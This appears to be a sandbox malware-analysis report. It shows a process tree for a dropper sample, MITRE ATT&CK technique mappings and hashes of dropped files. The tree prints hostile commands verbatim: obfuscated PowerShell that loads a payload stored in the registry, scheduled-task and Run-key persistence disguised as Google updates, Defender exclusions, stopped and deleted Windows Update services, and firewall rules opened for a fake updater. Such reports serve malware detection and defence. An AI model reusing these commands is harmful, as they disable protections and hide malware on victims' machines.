    powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:13468
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:13508
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe xtrjicqmdliu
    3⤵
    PID:15364
  - - C:\Windows\system32\cmd.exe
      cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
      4⤵
      Drops file in Program Files directory
      PID:15404
- - C:\Windows\system32\cmd.exe
    cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
    3⤵
    - Drops file in Program Files directory
    PID:15376
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:15420
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic PATH Win32_VideoController GET Name, VideoProcessor
      4⤵
      PID:15452
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe wvhbfinhdckusjju 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeXwQ/O4+due3etuok0KCy6TAeBBK2Zj7dzTkc9P7Txuspl/ztFHeT1vDsXwtgxIFZnxGXI+P7h6Wy2BaqsXFRrbRIyylpVUfDVtjurLuTI6hfYZYlaT2c8T3z2D8KilAioXHHI3GdcX8L+5AQJHhaF3EikxjkII2qRl4IAJt0ne1Kthho/EoWoWqiJ8V46anYGIeeueaKL6G4gUS0jG8bW+uOPYpliibsIQvftJQy3GdQNbdmaQoQosbMtF/zsQIOPYtzoBcdM/sdKVWCIsST/Py6kltT+qpekCzJYBFF4LST+8+EmmopPFkm4CPe5KhMiY/+g/sQ7d50uqIjFwwoHwsdnFS1l7B7kznzCIpeqO/4VPcOjXZ8D/gqWFx/7uyyvuxXByWtdfg2SHIbTo9ax767hx8DEZJobkKiCLCF5s3S9KZPJ6oc8SVkEHvmPn3ocLOCMVNSrrmyVksnNDnuU8b1vWVxnieD7xm0UnpffWA=
    3⤵
    PID:15588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:10752

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
PID:1136

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1168

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1208

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1192

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1372
- c:\windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2756

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1216

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1380

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1392

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1456

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s FontCache
1⤵
PID:1464

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1580

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1620

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1592

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1740

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1828

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1848

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1756

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2008

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:1532

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2152

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2252

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2244

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2260

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
PID:2408

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2452

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3500

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4276
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 4276 -s 788
  2⤵
  - Program crash
  PID:12092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
PID:3172

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:2312

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4328

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3668
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3668 -s 904
  2⤵
  - Program crash
  PID:12076

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:2056
- C:\Users\Admin\AppData\Local\Temp\298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe
  "C:\Users\Admin\AppData\Local\Temp\298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:196924
  - - C:\Users\Admin\AppData\Local\Microsoft\brave.exe
      "C:\Users\Admin\AppData\Local\Microsoft\brave.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Drops file in Program Files directory
      Suspicious use of WriteProcessMemory
      PID:1484
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6068
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:9700
      - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:9840
      - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:9884
      - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:9960
      - C:\Windows\system32\sc.exe
        
        sc stop bits
        6⤵
        Launches sc.exe
        
        PID:10028
      - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        6⤵
        Launches sc.exe
        
        PID:10080
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        6⤵
        
        PID:10124
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        6⤵
        
        PID:10164
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        6⤵
        Modifies security service
        
        PID:10184
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        6⤵
        
        PID:10200
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        6⤵
        
        PID:10224
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:9744
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:9712
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:9972
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:10040
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:10072
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:10352
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
        6⤵
        
        PID:10576
    - - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        5⤵
        Drops file in Windows directory
        
        PID:10340
  - - C:\Users\Admin\AppData\Local\Microsoft\chrome.exe
      "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Drops file in Windows directory
      Suspicious use of WriteProcessMemory
      PID:1420
    - - C:\Windows\SysWOW64\SCHTASKS.exe
        
        SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
        5⤵
        Creates scheduled task(s)
        
        PID:2464
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:60
    - - C:\Windows\SysWOW64\SCHTASKS.exe
        
        SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
        5⤵
        Creates scheduled task(s)
        
        PID:5148
    - - C:\Windows\GoogleUpdate.exe
        
        C:\Windows\GoogleUpdate.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5200
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
        6⤵
        Modifies Windows Firewall
        
        PID:6008
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:6024
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:6044
  - - C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
      "C:\Users\Admin\AppData\Local\Microsoft\ofg.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:868
    - - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /C schtasks /create /tn \2h4dfns5mt /tr "C:\Users\Admin\AppData\Roaming\2h4dfns5mt\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:312
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \2h4dfns5mt /tr "C:\Users\Admin\AppData\Roaming\2h4dfns5mt\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
        6⤵
        Creates scheduled task(s)
        
        PID:2288

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2800

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2620

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2548

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2540

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:2416

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:9900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:11908

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.8MB

MD5
eb27bb8cfa99d659e4fe023e9002ecd1

SHA1
c783400302fdfae0518269c5a5a8d4bad29f42a3

SHA256
9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f

SHA512
ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.8MB

MD5
eb27bb8cfa99d659e4fe023e9002ecd1

SHA1
c783400302fdfae0518269c5a5a8d4bad29f42a3

SHA256
9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f

SHA512
ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER975E.tmp.csv

Filesize
32KB

MD5
2545e35359f8cf95a2e6a7d5feccb489

SHA1
44a6e17d9ea73518ea07cac9eef725d507975453

SHA256
0b9509588ce58c6d9f771fa1d449f9d78141ff15d638f4b35ee3d5b9b9e18e08

SHA512
fac7661ac6c0c97f47cfb752bb0a3abe2964c1fae39c931feb0ad003df0e15d96549e2e1f8c1ef581e76e67eb0791f006899a670af7b4ec0e8cb3aa5654a832f

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER97EB.tmp.csv

Filesize
32KB

MD5
649cf0f817409389e618512f8ec4c7f5

SHA1
eaecda90d07414b887b638ca83cf2b789f4268ed

SHA256
6d4056f25a21f239659ca532809c9bf65842a2447388e46a33e74ec7b1f96e81

SHA512
8ad76dafb5b2b9bac67dd1d4bf0497eb79c21db1bdddfd8cf6139bbbc97e606ee33227fd148ca383f40b91aedaff60b5136d409aef999ba9083b84d43214f561

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER97FC.tmp.txt

Filesize
12KB

MD5
715cf4435ee4ce62ae536ff4d3077537

SHA1
1328b499b3126590c80b48c7fb2ea8e27299d543

SHA256
d5eb000e908394fa9a69d00cb5e089219ec987d83adc3ce5de4beeac314af23d

SHA512
92de41ee6866ee716eca390bbb73cedcf98f2f895b3d6e5a9f71094925e364e31ed1f50f32cdd1709b3c61d40204008556ef9d41215d9f62750dc57b270a6167

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER982C.tmp.txt

Filesize
12KB

MD5
67c12238f6272c913f619f91f8e5a1c8

SHA1
116b41c77a8b55006ee8d6e1a0e0310210d610a9

SHA256
df428d485c2c6c807d774e438b1ed93d99070e6d47ded7c54f050cde5f71f295

SHA512
0083b383af6b11b9b74f0e9504b8ce080cded819cc0ce83cd0da71f120f4dcb176e45ada0c0b61101e6ad94896607e77cc1934671cf29a64cee412586024dbef

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Filesize
340B

MD5
a0c4dd29ff86a7149cd228cb10dc02f7

SHA1
d0088a76cc3badaeefb44f89792665deec994ab9

SHA256
db344ef1454c231de65c52629513f475bc2827c82fc2b409faa8127e762615cd

SHA512
a3a65e71426e6827f56ea6d3047fb6e5111ba945cbce6524e6754abb88615c37ac89e509091a2d91d90d16abe7914f32cf9ca9ce92ff9d73f70c0dbeadcaa52f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

Filesize
438B

MD5
0c85a418048ade4be9afc7a7c2793fee

SHA1
cad2261ca383d42f199d2764c38ec127e5ec0234

SHA256
37b9ee3b70bde950cf782d0d35664082015760fcdbcc93987ce46d53105129c8

SHA512
77f41b428c3b877d00620bfdd788c53d772dcad35ad65ad904dc1173f019e04ab23c5dd417e19f385d7d96e0b5aa98fa7996d979463b9909d562671d47abf54e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9FF67FB3141440EED32363089565AE60_0ACA3509328F9CFAAE0993200F61CE00

Filesize
426B

MD5
eeaaf0c912e66ac761eee191a3b1c47e

SHA1
d2a162d6c174960feb304e7d7fb52cc5cb1e1242

SHA256
d7ad893f0f94cd6be697d2b9003b87569fae464aba96da53ea7037a600bd1358

SHA512
8f8dd1d95b90359595b97197f4999838ab419bf1764fd06235676f71eef5e4b4778fb7dbf3547d3936ab90f87d59d9611bebb7ee3f4fe93df37097962fe3ec62

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
ad5cd538ca58cb28ede39c108acb5785

SHA1
1ae910026f3dbe90ed025e9e96ead2b5399be877

SHA256
c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

SHA512
c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
07e5dc0dcf69c145ac6d366e3c48c438

SHA1
029611df692374997e2c445ae06c7b97234adc40

SHA256
f33b92af7d29f8f12764afe489a54491ec0a9f489f848e6e64dec94dc4cfc5a9

SHA512
0074b71e68f8e9135b527d3c0738adc101b1a1b95f293e57a524c59addb24d1af0e127adf2bc1469bfa08cf91e5a45f95479e950c1b86f9303f267e8d6738918

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
07e5dc0dcf69c145ac6d366e3c48c438

SHA1
029611df692374997e2c445ae06c7b97234adc40

SHA256
f33b92af7d29f8f12764afe489a54491ec0a9f489f848e6e64dec94dc4cfc5a9

SHA512
0074b71e68f8e9135b527d3c0738adc101b1a1b95f293e57a524c59addb24d1af0e127adf2bc1469bfa08cf91e5a45f95479e950c1b86f9303f267e8d6738918

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d9bdddc80ef64099b5d9f723fcab1518

SHA1
d8b9dac7650cc115ad01e46446f0cf39a9f388ad

SHA256
5fe8779f3dcfb30b63f766bb8175f7366bc088f5fbd336a05808f60a5988a3e7

SHA512
f85b4ca445a2ab5c5dacd349dbac80e36f3dd3ea882e2d1482a7a61ee51592e38618fb7a357a6ccb4dc0dbace67cd0072058934cfa14385520d4f9e330404b4e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\brave.exe

Filesize
2.8MB

MD5
9253ed091d81e076a3037e12af3dc871

SHA1
ec02829a25b3bf57ad061bbe54180d0c99c76981

SHA256
78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859

SHA512
29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\brave.exe

Filesize
2.8MB

MD5
9253ed091d81e076a3037e12af3dc871

SHA1
ec02829a25b3bf57ad061bbe54180d0c99c76981

SHA256
78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859

SHA512
29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\chrome.exe

Filesize
6.8MB

MD5
73b9004ff373f3b7b2f595541deb5a02

SHA1
bbc01bab5ae8ed8db2359c3b8a81eed75db5c061

SHA256
b4a3efe944f33e75925e2d131097bbe1228b5eb34d6c24ec02bc58834443e5a7

SHA512
908c06f2efee1ce9b17b8da562920fc37c3056c733600bf82dcf9cc6d93d1fb7b9dfceefba646ac9687d8b014eb69b7c1b35b16e5565a4c55cd694475af185e4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\chrome.exe

Filesize
6.8MB

MD5
73b9004ff373f3b7b2f595541deb5a02

SHA1
bbc01bab5ae8ed8db2359c3b8a81eed75db5c061

SHA256
b4a3efe944f33e75925e2d131097bbe1228b5eb34d6c24ec02bc58834443e5a7

SHA512
908c06f2efee1ce9b17b8da562920fc37c3056c733600bf82dcf9cc6d93d1fb7b9dfceefba646ac9687d8b014eb69b7c1b35b16e5565a4c55cd694475af185e4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\ofg.exe

Filesize
9KB

MD5
a169fb1a323c970f7a169b30657112cc

SHA1
5347dc5c0fe604f8527e336dd09a522fef0af9db

SHA256
97ed6b5f63eabd5b09e6a8355673a34ade88b42ddb04d5d56219aa5d660f4e04

SHA512
8bb8819e1e0c51d4e005f630042ad7b9851a1d1c63f330cf4752241320e70f6b54e15322f3524bbf21ebf8c90ff8b8c4254397c2eb6dcc86c74e43fd3f27b463

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\ofg.exe

Filesize
9KB

MD5
a169fb1a323c970f7a169b30657112cc

SHA1
5347dc5c0fe604f8527e336dd09a522fef0af9db

SHA256
97ed6b5f63eabd5b09e6a8355673a34ade88b42ddb04d5d56219aa5d660f4e04

SHA512
8bb8819e1e0c51d4e005f630042ad7b9851a1d1c63f330cf4752241320e70f6b54e15322f3524bbf21ebf8c90ff8b8c4254397c2eb6dcc86c74e43fd3f27b463

Download Submit
C:\Users\Admin\AppData\Roaming\2h4dfns5mt\svcupdater.exe

Filesize
9KB

MD5
a169fb1a323c970f7a169b30657112cc

SHA1
5347dc5c0fe604f8527e336dd09a522fef0af9db

SHA256
97ed6b5f63eabd5b09e6a8355673a34ade88b42ddb04d5d56219aa5d660f4e04

SHA512
8bb8819e1e0c51d4e005f630042ad7b9851a1d1c63f330cf4752241320e70f6b54e15322f3524bbf21ebf8c90ff8b8c4254397c2eb6dcc86c74e43fd3f27b463

Download Submit
